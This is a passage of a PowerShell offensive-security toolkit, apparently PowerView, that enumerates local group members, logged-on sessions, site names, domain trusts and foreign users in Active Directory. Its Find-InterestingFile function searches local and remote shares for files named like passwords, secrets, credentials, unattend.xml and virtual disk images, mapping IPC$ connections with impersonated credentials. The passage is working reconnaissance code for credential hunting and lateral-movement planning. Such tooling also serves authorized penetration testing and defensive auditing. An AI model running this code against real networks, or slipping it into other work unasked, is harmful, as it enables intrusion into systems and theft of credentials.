  7226.                         $MachineSid = $MachineSid.Substring(0, $MachineSid.LastIndexOf('-'))
  7227.  
  7228.                         $Members | ForEach-Object {
  7229.                             if ($_.SID -match $MachineSid) {
  7230.                                 $_ | Add-Member Noteproperty 'IsDomain' $False
  7231.                             }
  7232.                             else {
  7233.                                 $_ | Add-Member Noteproperty 'IsDomain' $True
  7234.                             }
  7235.                         }
  7236.                     }
  7237.                     else {
  7238.                         $Members | ForEach-Object {
  7239.                             if ($_.SID -notmatch 'S-1-5-21') {
  7240.                                 $_ | Add-Member Noteproperty 'IsDomain' $False
  7241.                             }
  7242.                             else {
  7243.                                 $_ | Add-Member Noteproperty 'IsDomain' 'UNKNOWN'
  7244.                             }
  7245.                         }
  7246.                     }
  7247.                     $Members
  7248.                 }
  7249.                 else {
  7250.                     Write-Verbose "[Get-NetLocalGroupMember] Error: $(([ComponentModel.Win32Exception] $Result).Message)"
  7251.                 }
  7252.             }
  7253.             else {
  7254.                 # otherwise we're using the WinNT service provider
  7255.                 try {
  7256.                     $GroupProvider = [ADSI]"WinNT://$Computer/$GroupName,group"
  7257.  
  7258.                     $GroupProvider.psbase.Invoke('Members') | ForEach-Object {
  7259.  
  7260.                         $Member = New-Object PSObject
  7261.                         $Member | Add-Member Noteproperty 'ComputerName' $Computer
  7262.                         $Member | Add-Member Noteproperty 'GroupName' $GroupName
  7263.  
  7264.                         $LocalUser = ([ADSI]$_)
  7265.                         $AdsPath = $LocalUser.InvokeGet('AdsPath').Replace('WinNT://', '')
  7266.                         $IsGroup = ($LocalUser.SchemaClassName -like 'group')
  7267.  
  7268.                         if(([regex]::Matches($AdsPath, '/')).count -eq 1) {
  7269.                             # DOMAIN\user
  7270.                             $MemberIsDomain = $True
  7271.                             $Name = $AdsPath.Replace('/', '\')
  7272.                         }
  7273.                         else {
  7274.                             # DOMAIN\machine\user
  7275.                             $MemberIsDomain = $False
  7276.                             $Name = $AdsPath.Substring($AdsPath.IndexOf('/')+1).Replace('/', '\')
  7277.                         }
  7278.  
  7279.                         $Member | Add-Member Noteproperty 'AccountName' $Name
  7280.                         $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.InvokeGet('ObjectSID'),0)).Value)
  7281.                         $Member | Add-Member Noteproperty 'IsGroup' $IsGroup
  7282.                         $Member | Add-Member Noteproperty 'IsDomain' $MemberIsDomain
  7283.  
  7284.                         # if ($MemberIsDomain) {
  7285.                         #     # translate the binary sid to a string
  7286.                         #     $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.InvokeGet('ObjectSID'),0)).Value)
  7287.                         #     $Member | Add-Member Noteproperty 'Description' ''
  7288.                         #     $Member | Add-Member Noteproperty 'Disabled' ''
  7289.  
  7290.                         #     if ($IsGroup) {
  7291.                         #         $Member | Add-Member Noteproperty 'LastLogin' ''
  7292.                         #     }
  7293.                         #     else {
  7294.                         #         try {
  7295.                         #             $Member | Add-Member Noteproperty 'LastLogin' $LocalUser.InvokeGet('LastLogin')
  7296.                         #         }
  7297.                         #         catch {
  7298.                         #             $Member | Add-Member Noteproperty 'LastLogin' ''
  7299.                         #         }
  7300.                         #     }
  7301.                         #     $Member | Add-Member Noteproperty 'PwdLastSet' ''
  7302.                         #     $Member | Add-Member Noteproperty 'PwdExpired' ''
  7303.                         #     $Member | Add-Member Noteproperty 'UserFlags' ''
  7304.                         # }
  7305.                         # else {
  7306.                         #     # translate the binary sid to a string
  7307.                         #     $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.InvokeGet('ObjectSID'),0)).Value)
  7308.                         #     $Member | Add-Member Noteproperty 'Description' ($LocalUser.Description)
  7309.  
  7310.                         #     if ($IsGroup) {
  7311.                         #         $Member | Add-Member Noteproperty 'PwdLastSet' ''
  7312.                         #         $Member | Add-Member Noteproperty 'PwdExpired' ''
  7313.                         #         $Member | Add-Member Noteproperty 'UserFlags' ''
  7314.                         #         $Member | Add-Member Noteproperty 'Disabled' ''
  7315.                         #         $Member | Add-Member Noteproperty 'LastLogin' ''
  7316.                         #     }
  7317.                         #     else {
  7318.                         #         $Member | Add-Member Noteproperty 'PwdLastSet' ( (Get-Date).AddSeconds(-$LocalUser.PasswordAge[0]))
  7319.                         #         $Member | Add-Member Noteproperty 'PwdExpired' ( $LocalUser.PasswordExpired[0] -eq '1')
  7320.                         #         $Member | Add-Member Noteproperty 'UserFlags' ( $LocalUser.UserFlags[0] )
  7321.                         #         # UAC flags of 0x2 mean the account is disabled
  7322.                         #         $Member | Add-Member Noteproperty 'Disabled' $(($LocalUser.UserFlags.value -band 2) -eq 2)
  7323.                         #         try {
  7324.                         #             $Member | Add-Member Noteproperty 'LastLogin' ( $LocalUser.LastLogin[0])
  7325.                         #         }
  7326.                         #         catch {
  7327.                         #             $Member | Add-Member Noteproperty 'LastLogin' ''
  7328.                         #         }
  7329.                         #     }
  7330.                         # }
  7331.  
  7332.                         $Member
  7333.                     }
  7334.                 }
  7335.                 catch {
  7336.                     Write-Verbose "[Get-NetLocalGroupMember] Error for $Computer : $_"
  7337.                 }
  7338.             }
  7339.         }
  7340.     }
  7341.    
  7342.     END {
  7343.         if ($LogonToken) {
  7344.             Invoke-RevertToSelf -TokenHandle $LogonToken
  7345.         }
  7346.     }
  7347. }
  7348.  
  7349. function Get-NetSession {
  7350.  
  7351.  
  7352.     [OutputType('PowerView.SessionInfo')]
  7353.     [CmdletBinding()]
  7354.     Param(
  7355.         [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  7356.         [Alias('HostName', 'dnshostname', 'name')]
  7357.         [ValidateNotNullOrEmpty()]
  7358.         [String[]]
  7359.         $ComputerName = 'localhost',
  7360.  
  7361.         [Management.Automation.PSCredential]
  7362.         [Management.Automation.CredentialAttribute()]
  7363.         $Credential = [Management.Automation.PSCredential]::Empty
  7364.     )
  7365.  
  7366.     BEGIN {
  7367.         if ($PSBoundParameters['Credential']) {
  7368.             $LogonToken = Invoke-UserImpersonation -Credential $Credential
  7369.         }
  7370.     }
  7371.  
  7372.     PROCESS {
  7373.         ForEach ($Computer in $ComputerName) {
  7374.             # arguments for NetSessionEnum
  7375.             $QueryLevel = 10
  7376.             $PtrInfo = [IntPtr]::Zero
  7377.             $EntriesRead = 0
  7378.             $TotalRead = 0
  7379.             $ResumeHandle = 0
  7380.  
  7381.             # get session information
  7382.             $Result = $Netapi32::NetSessionEnum($Computer, '', $UserName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)
  7383.  
  7384.             # locate the offset of the initial intPtr
  7385.             $Offset = $PtrInfo.ToInt64()
  7386.  
  7387.             # 0 = success
  7388.             if (($Result -eq 0) -and ($Offset -gt 0)) {
  7389.  
  7390.                 # work out how much to increment the pointer by finding out the size of the structure
  7391.                 $Increment = $SESSION_INFO_10::GetSize()
  7392.  
  7393.                 # parse all the result structures
  7394.                 for ($i = 0; ($i -lt $EntriesRead); $i++) {
  7395.                     # create a new int ptr at the given offset and cast the pointer as our result structure
  7396.                     $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
  7397.                     $Info = $NewIntPtr -as $SESSION_INFO_10
  7398.  
  7399.                     # return all the sections of the structure - have to do it this way for V2
  7400.                     $Session = $Info | Select-Object *
  7401.                     $Session | Add-Member Noteproperty 'ComputerName' $Computer
  7402.                     $Session.PSObject.TypeNames.Insert(0, 'PowerView.SessionInfo')
  7403.                     $Offset = $NewIntPtr.ToInt64()
  7404.                     $Offset += $Increment
  7405.                     $Session
  7406.                 }
  7407.  
  7408.                 # free up the result buffer
  7409.                 $Null = $Netapi32::NetApiBufferFree($PtrInfo)
  7410.             }
  7411.             else {
  7412.                 Write-Verbose "[Get-NetSession] Error: $(([ComponentModel.Win32Exception] $Result).Message)"
  7413.             }
  7414.         }
  7415.     }
  7416.  
  7417.  
  7418.     END {
  7419.         if ($LogonToken) {
  7420.             Invoke-RevertToSelf -TokenHandle $LogonToken
  7421.         }
  7422.     }
  7423. }
  7424.  
  7425. function Get-NetComputerSiteName {
  7426.  
  7427.     [OutputType('PowerView.ComputerSite')]
  7428.     [CmdletBinding()]
  7429.     Param(
  7430.         [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  7431.         [Alias('HostName', 'dnshostname', 'name')]
  7432.         [ValidateNotNullOrEmpty()]
  7433.         [String[]]
  7434.         $ComputerName = 'localhost',
  7435.  
  7436.         [Management.Automation.PSCredential]
  7437.         [Management.Automation.CredentialAttribute()]
  7438.         $Credential = [Management.Automation.PSCredential]::Empty
  7439.     )
  7440.  
  7441.     BEGIN {
  7442.         if ($PSBoundParameters['Credential']) {
  7443.             $LogonToken = Invoke-UserImpersonation -Credential $Credential
  7444.         }
  7445.     }
  7446.  
  7447.     PROCESS {
  7448.         ForEach ($Computer in $ComputerName) {
  7449.             # if we get an IP address, try to resolve the IP to a hostname
  7450.             if ($Computer -match '^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$') {
  7451.                 $IPAddress = $Computer
  7452.                 $Computer = [System.Net.Dns]::GetHostByAddress($Computer) | Select-Object -ExpandProperty HostName
  7453.             }
  7454.             else {
  7455.                 $IPAddress = @(Resolve-IPAddress -ComputerName $Computer)[0].IPAddress
  7456.             }
  7457.  
  7458.             $PtrInfo = [IntPtr]::Zero
  7459.  
  7460.             $Result = $Netapi32::DsGetSiteName($Computer, [ref]$PtrInfo)
  7461.  
  7462.             $ComputerSite = New-Object PSObject
  7463.             $ComputerSite | Add-Member Noteproperty 'ComputerName' $Computer
  7464.             $ComputerSite | Add-Member Noteproperty 'IPAddress' $IPAddress
  7465.  
  7466.             if ($Result -eq 0) {
  7467.                 $Sitename = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($PtrInfo)
  7468.                 $ComputerSite | Add-Member Noteproperty 'SiteName' $Sitename
  7469.             }
  7470.             else {
  7471.                 Write-Verbose "[Get-NetComputerSiteName] Error: $(([ComponentModel.Win32Exception] $Result).Message)"
  7472.                 $ComputerSite | Add-Member Noteproperty 'SiteName' ''
  7473.             }
  7474.             $ComputerSite.PSObject.TypeNames.Insert(0, 'PowerView.ComputerSite')
  7475.  
  7476.             # free up the result buffer
  7477.             $Null = $Netapi32::NetApiBufferFree($PtrInfo)
  7478.  
  7479.             $ComputerSite
  7480.         }
  7481.     }
  7482.  
  7483.     END {
  7484.         if ($LogonToken) {
  7485.             Invoke-RevertToSelf -TokenHandle $LogonToken
  7486.         }
  7487.     }
  7488. }
  7489.  
  7490. function Find-InterestingFile {
  7491.  
  7492.  
  7493.     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
  7494.     [OutputType('PowerView.FoundFile')]
  7495.     [CmdletBinding(DefaultParameterSetName = 'FileSpecification')]
  7496.     Param(
  7497.         [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  7498.         [ValidateNotNullOrEmpty()]
  7499.         [String[]]
  7500.         $Path = '.\',
  7501.  
  7502.         [Parameter(ParameterSetName = 'FileSpecification')]
  7503.         [ValidateNotNullOrEmpty()]
  7504.         [Alias('SearchTerms', 'Terms')]
  7505.         [String[]]
  7506.         $Include = @('*password*', '*sensitive*', '*admin*', '*login*', '*secret*', 'unattend*.xml', '*.vmdk', '*creds*', '*credential*', '*.config'),
  7507.  
  7508.         [Parameter(ParameterSetName = 'FileSpecification')]
  7509.         [ValidateNotNullOrEmpty()]
  7510.         [DateTime]
  7511.         $LastAccessTime,
  7512.  
  7513.         [Parameter(ParameterSetName = 'FileSpecification')]
  7514.         [ValidateNotNullOrEmpty()]
  7515.         [DateTime]
  7516.         $LastWriteTime,
  7517.  
  7518.         [Parameter(ParameterSetName = 'FileSpecification')]
  7519.         [ValidateNotNullOrEmpty()]
  7520.         [DateTime]
  7521.         $CreationTime,
  7522.  
  7523.         [Parameter(ParameterSetName = 'OfficeDocs')]
  7524.         [Switch]
  7525.         $OfficeDocs,
  7526.  
  7527.         [Parameter(ParameterSetName = 'FreshEXEs')]
  7528.         [Switch]
  7529.         $FreshEXEs,
  7530.  
  7531.         [Parameter(ParameterSetName = 'FileSpecification')]
  7532.         [Switch]
  7533.         $ExcludeFolders,
  7534.  
  7535.         [Parameter(ParameterSetName = 'FileSpecification')]
  7536.         [Switch]
  7537.         $ExcludeHidden,
  7538.  
  7539.         [Switch]
  7540.         $CheckWriteAccess,
  7541.  
  7542.         [Management.Automation.PSCredential]
  7543.         [Management.Automation.CredentialAttribute()]
  7544.         $Credential = [Management.Automation.PSCredential]::Empty
  7545.     )
  7546.  
  7547.     BEGIN {
  7548.         $SearcherArguments =  @{
  7549.             'Recurse' = $True
  7550.             'ErrorAction' = 'SilentlyContinue'
  7551.             'Include' = $Include
  7552.         }
  7553.         if ($PSBoundParameters['OfficeDocs']) {
  7554.             $SearcherArguments['Include'] = @('*.doc', '*.docx', '*.xls', '*.xlsx', '*.ppt', '*.pptx')
  7555.         }
  7556.         elseif ($PSBoundParameters['FreshEXEs']) {
  7557.             # find .exe's accessed within the last 7 days
  7558.             $LastAccessTime = (Get-Date).AddDays(-7).ToString('MM/dd/yyyy')
  7559.             $SearcherArguments['Include'] = @('*.exe')
  7560.         }
  7561.         $SearcherArguments['Force'] = -not $PSBoundParameters['ExcludeHidden']
  7562.  
  7563.         $MappedComputers = @{}
  7564.  
  7565.         function Test-Write {
  7566.             # short helper to check is the current user can write to a file
  7567.             [CmdletBinding()]Param([String]$Path)
  7568.             try {
  7569.                 $Filetest = [IO.File]::OpenWrite($Path)
  7570.                 $Filetest.Close()
  7571.                 $True
  7572.             }
  7573.             catch {
  7574.                 $False
  7575.             }
  7576.         }
  7577.     }
  7578.  
  7579.     PROCESS {
  7580.         ForEach ($TargetPath in $Path) {
  7581.             if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) {
  7582.                 $HostComputer = (New-Object System.Uri($TargetPath)).Host
  7583.                 if (-not $MappedComputers[$HostComputer]) {
  7584.                     # map IPC$ to this computer if it's not already
  7585.                     Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential
  7586.                     $MappedComputers[$HostComputer] = $True
  7587.                 }
  7588.             }
  7589.  
  7590.             $SearcherArguments['Path'] = $TargetPath
  7591.             Get-ChildItem @SearcherArguments | ForEach-Object {
  7592.                 # check if we're excluding folders
  7593.                 $Continue = $True
  7594.                 if ($PSBoundParameters['ExcludeFolders'] -and ($_.PSIsContainer)) {
  7595.                     Write-Verbose "Excluding: $($_.FullName)"
  7596.                     $Continue = $False
  7597.                 }
  7598.                 if ($LastAccessTime -and ($_.LastAccessTime -lt $LastAccessTime)) {
  7599.                     $Continue = $False
  7600.                 }
  7601.                 if ($PSBoundParameters['LastWriteTime'] -and ($_.LastWriteTime -lt $LastWriteTime)) {
  7602.                     $Continue = $False
  7603.                 }
  7604.                 if ($PSBoundParameters['CreationTime'] -and ($_.CreationTime -lt $CreationTime)) {
  7605.                     $Continue = $False
  7606.                 }
  7607.                 if ($PSBoundParameters['CheckWriteAccess'] -and (-not (Test-Write -Path $_.FullName))) {
  7608.                     $Continue = $False
  7609.                 }
  7610.                 if ($Continue) {
  7611.                     $FileParams = @{
  7612.                         'Path' = $_.FullName
  7613.                         'Owner' = $((Get-Acl $_.FullName).Owner)
  7614.                         'LastAccessTime' = $_.LastAccessTime
  7615.                         'LastWriteTime' = $_.LastWriteTime
  7616.                         'CreationTime' = $_.CreationTime
  7617.                         'Length' = $_.Length
  7618.                     }
  7619.                     $FoundFile = New-Object -TypeName PSObject -Property $FileParams
  7620.                     $FoundFile.PSObject.TypeNames.Insert(0, 'PowerView.FoundFile')
  7621.                     $FoundFile
  7622.                 }
  7623.             }
  7624.         }
  7625.     }
  7626.  
  7627.     END {
  7628.         # remove the IPC$ mappings
  7629.         $MappedComputers.Keys | Remove-RemoteConnection
  7630.     }
  7631. }
  7632.  
  7633. function Get-DomainTrust {
  7634.  
  7635.     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
  7636.     [OutputType('PowerView.DomainTrust.NET')]
  7637.     [OutputType('PowerView.DomainTrust.LDAP')]
  7638.     [OutputType('PowerView.DomainTrust.API')]
  7639.     [CmdletBinding(DefaultParameterSetName = 'NET')]
  7640.     Param(
  7641.         [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  7642.         [Alias('Name')]
  7643.         [ValidateNotNullOrEmpty()]
  7644.         [String]
  7645.         $Domain,
  7646.  
  7647.         [Parameter(ParameterSetName = 'API')]
  7648.         [Switch]
  7649.         $API,
  7650.  
  7651.         [Parameter(ParameterSetName = 'LDAP')]
  7652.         [Switch]
  7653.         $LDAP,
  7654.  
  7655.         [Parameter(ParameterSetName = 'LDAP')]
  7656.         [ValidateNotNullOrEmpty()]
  7657.         [Alias('Filter')]
  7658.         [String]
  7659.         $LDAPFilter,
  7660.  
  7661.         [Parameter(ParameterSetName = 'LDAP')]
  7662.         [ValidateNotNullOrEmpty()]
  7663.         [String[]]
  7664.         $Properties,
  7665.  
  7666.         [Parameter(ParameterSetName = 'LDAP')]
  7667.         [ValidateNotNullOrEmpty()]
  7668.         [Alias('ADSPath')]
  7669.         [String]
  7670.         $SearchBase,
  7671.  
  7672.         [Parameter(ParameterSetName = 'LDAP')]
  7673.         [Parameter(ParameterSetName = 'API')]
  7674.         [ValidateNotNullOrEmpty()]
  7675.         [Alias('DomainController')]
  7676.         [String]
  7677.         $Server,
  7678.  
  7679.         [Parameter(ParameterSetName = 'LDAP')]
  7680.         [ValidateSet('Base', 'OneLevel', 'Subtree')]
  7681.         [String]
  7682.         $SearchScope = 'Subtree',
  7683.  
  7684.         [Parameter(ParameterSetName = 'LDAP')]
  7685.         [ValidateRange(1, 10000)]
  7686.         [Int]
  7687.         $ResultPageSize = 200,
  7688.  
  7689.         [Parameter(ParameterSetName = 'LDAP')]
  7690.         [ValidateRange(1, 10000)]
  7691.         [Int]
  7692.         $ServerTimeLimit,
  7693.  
  7694.         [Parameter(ParameterSetName = 'LDAP')]
  7695.         [Switch]
  7696.         $Tombstone,
  7697.  
  7698.         [Alias('ReturnOne')]
  7699.         [Switch]
  7700.         $FindOne,
  7701.  
  7702.         [Parameter(ParameterSetName = 'LDAP')]
  7703.         [Management.Automation.PSCredential]
  7704.         [Management.Automation.CredentialAttribute()]
  7705.         $Credential = [Management.Automation.PSCredential]::Empty
  7706.     )
  7707.  
  7708.     BEGIN {
  7709.         $TrustAttributes = @{
  7710.             [uint32]'0x00000001' = 'non_transitive'
  7711.             [uint32]'0x00000002' = 'uplevel_only'
  7712.             [uint32]'0x00000004' = 'quarantined_domain'
  7713.             [uint32]'0x00000008' = 'forest_transitive'
  7714.             [uint32]'0x00000010' = 'cross_organization'
  7715.             [uint32]'0x00000020' = 'within_forest'
  7716.             [uint32]'0x00000040' = 'treat_as_external'
  7717.             [uint32]'0x00000080' = 'trust_uses_rc4_encryption'
  7718.             [uint32]'0x00000100' = 'trust_uses_aes_keys'
  7719.             [uint32]'0x00000200' = 'cross_organization_no_tgt_delegation'
  7720.             [uint32]'0x00000400' = 'pim_trust'
  7721.         }
  7722.  
  7723.         $LdapSearcherArguments = @{}
  7724.         if ($PSBoundParameters['LDAPFilter']) { $LdapSearcherArguments['LDAPFilter'] = $LDAPFilter }
  7725.         if ($PSBoundParameters['Properties']) { $LdapSearcherArguments['Properties'] = $Properties }
  7726.         if ($PSBoundParameters['SearchBase']) { $LdapSearcherArguments['SearchBase'] = $SearchBase }
  7727.         if ($PSBoundParameters['Server']) { $LdapSearcherArguments['Server'] = $Server }
  7728.         if ($PSBoundParameters['SearchScope']) { $LdapSearcherArguments['SearchScope'] = $SearchScope }
  7729.         if ($PSBoundParameters['ResultPageSize']) { $LdapSearcherArguments['ResultPageSize'] = $ResultPageSize }
  7730.         if ($PSBoundParameters['ServerTimeLimit']) { $LdapSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
  7731.         if ($PSBoundParameters['Tombstone']) { $LdapSearcherArguments['Tombstone'] = $Tombstone }
  7732.         if ($PSBoundParameters['Credential']) { $LdapSearcherArguments['Credential'] = $Credential }
  7733.     }
  7734.  
  7735.     PROCESS {
  7736.         if ($PsCmdlet.ParameterSetName -ne 'API') {
  7737.             $NetSearcherArguments = @{}
  7738.             if ($Domain -and $Domain.Trim() -ne '') {
  7739.                 $SourceDomain = $Domain
  7740.             }
  7741.             else {
  7742.                 if ($PSBoundParameters['Credential']) {
  7743.                     $SourceDomain = (Get-Domain -Credential $Credential).Name
  7744.                 }
  7745.                 else {
  7746.                     $SourceDomain = (Get-Domain).Name
  7747.                 }
  7748.             }
  7749.  
  7750.             $NetSearcherArguments['Domain'] = $SourceDomain
  7751.             if ($PSBoundParameters['Credential']) { $NetSearcherArguments['Credential'] = $Credential }
  7752.         }
  7753.         else {
  7754.             if ($Domain -and $Domain.Trim() -ne '') {
  7755.                 $SourceDomain = $Domain
  7756.             }
  7757.             else {
  7758.                 $SourceDomain = $Env:USERDNSDOMAIN
  7759.             }
  7760.         }
  7761.  
  7762.         if ($PsCmdlet.ParameterSetName -eq 'LDAP') {
  7763.             # if we're searching for domain trusts through LDAP/ADSI
  7764.             $TrustSearcher = Get-DomainSearcher @LdapSearcherArguments
  7765.             $SourceSID = Get-DomainSID @NetSearcherArguments
  7766.  
  7767.             if ($TrustSearcher) {
  7768.  
  7769.                 $TrustSearcher.Filter = '(objectClass=trustedDomain)'
  7770.  
  7771.                 if ($PSBoundParameters['FindOne']) { $Results = $TrustSearcher.FindOne() }
  7772.                 else { $Results = $TrustSearcher.FindAll() }
  7773.                 $Results | Where-Object {$_} | ForEach-Object {
  7774.                     $Props = $_.Properties
  7775.                     $DomainTrust = New-Object PSObject
  7776.  
  7777.                     $TrustAttrib = @()
  7778.                     $TrustAttrib += $TrustAttributes.Keys | Where-Object { $Props.trustattributes[0] -band $_ } | ForEach-Object { $TrustAttributes[$_] }
  7779.  
  7780.                     $Direction = Switch ($Props.trustdirection) {
  7781.                         0 { 'Disabled' }
  7782.                         1 { 'Inbound' }
  7783.                         2 { 'Outbound' }
  7784.                         3 { 'Bidirectional' }
  7785.                     }
  7786.  
  7787.                     $ObjectGuid = New-Object Guid @(,$Props.objectguid[0])
  7788.                     $TargetSID = (New-Object System.Security.Principal.SecurityIdentifier($Props.securityidentifier[0],0)).Value
  7789.  
  7790.                     $DomainTrust | Add-Member Noteproperty 'SourceName' $SourceDomain
  7791.                     $DomainTrust | Add-Member Noteproperty 'SourceSID' $SourceSID
  7792.                     $DomainTrust | Add-Member Noteproperty 'TargetName' $Props.name[0]
  7793.                     $DomainTrust | Add-Member Noteproperty 'TargetSID' $TargetSID
  7794.                     $DomainTrust | Add-Member Noteproperty 'ObjectGuid' "{$ObjectGuid}"
  7795.                     $DomainTrust | Add-Member Noteproperty 'TrustType' $($TrustAttrib -join ',')
  7796.                     $DomainTrust | Add-Member Noteproperty 'TrustDirection' "$Direction"
  7797.                     $DomainTrust.PSObject.TypeNames.Insert(0, 'PowerView.DomainTrust.LDAP')
  7798.                     $DomainTrust
  7799.                 }
  7800.                 if ($Results) {
  7801.                     try { $Results.dispose() }
  7802.                     catch {
  7803.                         Write-Verbose "[Get-DomainTrust] Error disposing of the Results object: $_"
  7804.                     }
  7805.                 }
  7806.                 $TrustSearcher.dispose()
  7807.             }
  7808.         }
  7809.         elseif ($PsCmdlet.ParameterSetName -eq 'API') {
  7810.             # if we're searching for domain trusts through Win32 API functions
  7811.             if ($PSBoundParameters['Server']) {
  7812.                 $TargetDC = $Server
  7813.             }
  7814.             elseif ($Domain -and $Domain.Trim() -ne '') {
  7815.                 $TargetDC = $Domain
  7816.             }
  7817.             else {
  7818.                 # see https://msdn.microsoft.com/en-us/library/ms675976(v=vs.85).aspx for default NULL behavior
  7819.                 $TargetDC = $Null
  7820.             }
  7821.  
  7822.             # arguments for DsEnumerateDomainTrusts
  7823.             $PtrInfo = [IntPtr]::Zero
  7824.  
  7825.             # 63 = DS_DOMAIN_IN_FOREST + DS_DOMAIN_DIRECT_OUTBOUND + DS_DOMAIN_TREE_ROOT + DS_DOMAIN_PRIMARY + DS_DOMAIN_NATIVE_MODE + DS_DOMAIN_DIRECT_INBOUND
  7826.             $Flags = 63
  7827.             $DomainCount = 0
  7828.  
  7829.             # get the trust information from the target server
  7830.             $Result = $Netapi32::DsEnumerateDomainTrusts($TargetDC, $Flags, [ref]$PtrInfo, [ref]$DomainCount)
  7831.  
  7832.             # Locate the offset of the initial intPtr
  7833.             $Offset = $PtrInfo.ToInt64()
  7834.  
  7835.             # 0 = success
  7836.             if (($Result -eq 0) -and ($Offset -gt 0)) {
  7837.  
  7838.                 # Work out how much to increment the pointer by finding out the size of the structure
  7839.                 $Increment = $DS_DOMAIN_TRUSTS::GetSize()
  7840.  
  7841.                 # parse all the result structures
  7842.                 for ($i = 0; ($i -lt $DomainCount); $i++) {
  7843.                     # create a new int ptr at the given offset and cast the pointer as our result structure
  7844.                     $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
  7845.                     $Info = $NewIntPtr -as $DS_DOMAIN_TRUSTS
  7846.  
  7847.                     $Offset = $NewIntPtr.ToInt64()
  7848.                     $Offset += $Increment
  7849.  
  7850.                     $SidString = ''
  7851.                     $Result = $Advapi32::ConvertSidToStringSid($Info.DomainSid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
  7852.  
  7853.                     if ($Result -eq 0) {
  7854.                         Write-Verbose "[Get-DomainTrust] Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
  7855.                     }
  7856.                     else {
  7857.                         $DomainTrust = New-Object PSObject
  7858.                         $DomainTrust | Add-Member Noteproperty 'SourceName' $SourceDomain
  7859.                         $DomainTrust | Add-Member Noteproperty 'TargetName' $Info.DnsDomainName
  7860.                         $DomainTrust | Add-Member Noteproperty 'TargetNetbiosName' $Info.NetbiosDomainName
  7861.                         $DomainTrust | Add-Member Noteproperty 'Flags' $Info.Flags
  7862.                         $DomainTrust | Add-Member Noteproperty 'ParentIndex' $Info.ParentIndex
  7863.                         $DomainTrust | Add-Member Noteproperty 'TrustType' $Info.TrustType
  7864.                         $DomainTrust | Add-Member Noteproperty 'TrustAttributes' $Info.TrustAttributes
  7865.                         $DomainTrust | Add-Member Noteproperty 'TargetSid' $SidString
  7866.                         $DomainTrust | Add-Member Noteproperty 'TargetGuid' $Info.DomainGuid
  7867.                         $DomainTrust.PSObject.TypeNames.Insert(0, 'PowerView.DomainTrust.API')
  7868.                         $DomainTrust
  7869.                     }
  7870.                 }
  7871.                 # free up the result buffer
  7872.                 $Null = $Netapi32::NetApiBufferFree($PtrInfo)
  7873.             }
  7874.             else {
  7875.                 Write-Verbose "[Get-DomainTrust] Error: $(([ComponentModel.Win32Exception] $Result).Message)"
  7876.             }
  7877.         }
  7878.         else {
  7879.             # if we're searching for domain trusts through .NET methods
  7880.             $FoundDomain = Get-Domain @NetSearcherArguments
  7881.             if ($FoundDomain) {
  7882.                 $FoundDomain.GetAllTrustRelationships() | ForEach-Object {
  7883.                     $_.PSObject.TypeNames.Insert(0, 'PowerView.DomainTrust.NET')
  7884.                     $_
  7885.                 }
  7886.             }
  7887.         }
  7888.     }
  7889. }
  7890.  
  7891. function Get-DomainForeignUser {
  7892.  
  7893.     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
  7894.     [OutputType('PowerView.ForeignUser')]
  7895.     [CmdletBinding()]
  7896.     Param(
  7897.         [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  7898.         [Alias('Name')]
  7899.         [ValidateNotNullOrEmpty()]
  7900.         [String]
  7901.         $Domain,
  7902.  
  7903.         [ValidateNotNullOrEmpty()]
  7904.         [Alias('Filter')]
  7905.         [String]
  7906.         $LDAPFilter,
  7907.  
  7908.         [ValidateNotNullOrEmpty()]
  7909.         [String[]]
  7910.         $Properties,
  7911.  
  7912.         [ValidateNotNullOrEmpty()]
  7913.         [Alias('ADSPath')]
  7914.         [String]
  7915.         $SearchBase,
  7916.  
  7917.         [ValidateNotNullOrEmpty()]
  7918.         [Alias('DomainController')]
  7919.         [String]
  7920.         $Server,
  7921.  
  7922.         [ValidateSet('Base', 'OneLevel', 'Subtree')]
  7923.         [String]
  7924.         $SearchScope = 'Subtree',
  7925.  
  7926.         [ValidateRange(1, 10000)]
  7927.         [Int]
  7928.         $ResultPageSize = 200,
  7929.  
  7930.         [ValidateRange(1, 10000)]
  7931.         [Int]
  7932.         $ServerTimeLimit,
  7933.  
  7934.         [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
  7935.         [String]
  7936.         $SecurityMasks,
  7937.  
  7938.         [Switch]
  7939.         $Tombstone,
  7940.  
  7941.         [Management.Automation.PSCredential]
  7942.         [Management.Automation.CredentialAttribute()]
  7943.         $Credential = [Management.Automation.PSCredential]::Empty
  7944.     )
  7945.  
  7946.     BEGIN {
  7947.         $SearcherArguments = @{}
  7948.         $SearcherArguments['LDAPFilter'] = '(memberof=*)'
  7949.         if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
  7950.         if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
  7951.         if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
  7952.         if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
